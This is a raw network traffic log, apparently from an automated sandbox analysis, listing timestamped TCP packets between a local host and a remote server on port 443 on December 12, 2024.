Dec 12, 2024 12:59:32.912425995 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.919512033 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.919559956 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.919599056 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.919606924 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.919708967 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.926336050 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.926399946 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.926424980 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.926446915 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.926460981 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.926678896 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.934092045 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.934134960 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.934211016 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.934216976 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:32.934271097 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:32.934380054 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.076745987 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.076776981 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.076844931 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.076864004 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.077124119 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.077124119 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.083693027 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.083719015 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.083808899 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.083810091 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.083837032 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.083890915 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.090142965 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.090168953 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.090254068 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.090254068 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.090262890 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.090305090 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.097636938 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.097683907 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.097733021 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.097739935 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.098223925 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.100657940 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.104696035 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.104741096 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.104832888 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.104832888 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.104840994 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.104908943 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.111543894 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.111593962 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.111764908 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.111773014 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.111799955 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.113527060 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.118837118 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.118858099 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.118948936 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.118948936 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.118957043 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.121112108 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.125829935 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.125853062 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.125929117 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.125929117 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.125936985 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.125983953 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.130342007 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.130748987 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.130757093 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.180932999 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.271612883 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.271631956 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.271673918 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.271733046 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.271759033 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.271800041 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.271898985 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.279078960 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.279109001 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.279187918 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.279187918 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.279196024 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.279326916 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.286212921 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.286236048 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.286329031 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.286338091 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.286516905 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.292532921 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.292557955 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.292634010 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.292634010 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.292649031 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.292772055 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.299896955 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.299936056 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.300002098 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.300010920 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.300033092 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.300163031 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.306716919 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.306746960 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.306845903 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.306845903 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.306853056 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.306960106 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.314018965 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.314052105 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.314129114 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.314129114 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.314136028 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.314349890 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.321217060 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.321240902 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.321332932 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.321332932 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.321341038 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.321599007 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.463701010 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.463737965 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.463839054 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.463839054 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.463860035 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.470139980 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.482532978 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.482563972 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.482651949 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.482651949 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.482670069 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.483146906 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.483174086 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.483232975 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.483232975 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.483242035 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.483303070 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.483304024 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.486421108 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.486458063 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.486531019 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.486531019 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.486541033 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.486623049 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.492027044 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.492055893 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.492131948 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.492131948 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.492140055 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.492180109 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.498833895 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.498859882 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.498903036 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.498910904 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.498960018 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.498960018 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.506253004 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.506284952 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.506361008 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.506361008 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.506371021 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.506534100 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.513374090 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.513420105 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.513469934 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.513478994 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.513560057 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.513569117 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.656733990 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.656773090 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.656817913 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.656837940 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.656855106 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.657905102 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.663132906 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.663157940 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.663237095 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.663237095 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.663247108 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.665879965 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.670300961 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.670324087 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.670366049 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.670375109 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.670420885 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.670420885 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.678070068 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.678092957 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.678134918 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.678141117 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.678168058 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.678211927 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.684137106 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.684164047 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.684226990 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.684235096 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.684281111 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.684281111 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.692045927 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.692068100 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.692147970 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.692147970 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.692154884 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.692280054 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.698152065 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.698174000 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.698220968 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.698229074 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.698378086 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.698378086 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.700191975 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.700284004 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.844182014 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.844214916 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.844259977 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.844275951 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.844305992 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.844326973 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.851110935 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.851134062 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.851182938 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.851193905 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.851222992 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.851241112 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.857975960 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.858001947 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.858067036 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.858082056 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.858110905 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.858123064 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.865878105 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.865906954 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.865942955 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.865953922 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.865994930 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.873475075 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.873502970 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.873533010 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.873543024 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.873586893 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.879803896 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.879827976 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.879865885 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.879873991 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.879899025 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.879916906 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.886142015 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.886177063 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.886214018 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.886219978 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.886255980 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.892196894 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.892225981 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.892256975 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.892263889 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:33.892296076 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:33.892309904 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.036679983 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.036711931 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.036783934 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.036799908 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.036828041 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.036847115 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.042171001 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.042191982 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.042242050 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.042249918 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.042278051 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.042292118 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.050209999 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.050231934 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.050326109 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.050334930 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.051889896 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.057621956 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.057641983 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.057696104 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.057703972 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.057730913 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.057749033 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.064805031 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.064825058 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.064877987 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.064891100 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.064902067 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.064923048 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.071787119 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.071810007 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.071855068 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.071863890 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.071887970 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.071902037 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.077692986 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.077714920 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.077769995 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.077783108 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.077799082 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.077815056 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.079505920 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.079566002 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.083053112 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.083132029 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.083142042 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.084678888 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.084678888 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.084696054 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.084719896 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.084835052 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.089731932 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.089777946 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.089804888 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.089811087 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.089844942 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.089859009 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.228550911 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.228679895 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.233664036 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.233746052 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.233783007 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.233800888 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.233813047 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.233858109 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.235830069 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.235893011 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.240720987 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.240775108 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.240802050 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.240817070 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.240827084 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.241861105 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.245898962 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.245960951 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.245970964 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.246012926 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.246721983 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.246783018 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.250823021 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.250879049 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.250885963 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.253962994 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.254169941 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.254177094 CET	443	49878	172.65.251.78	192.168.2.6
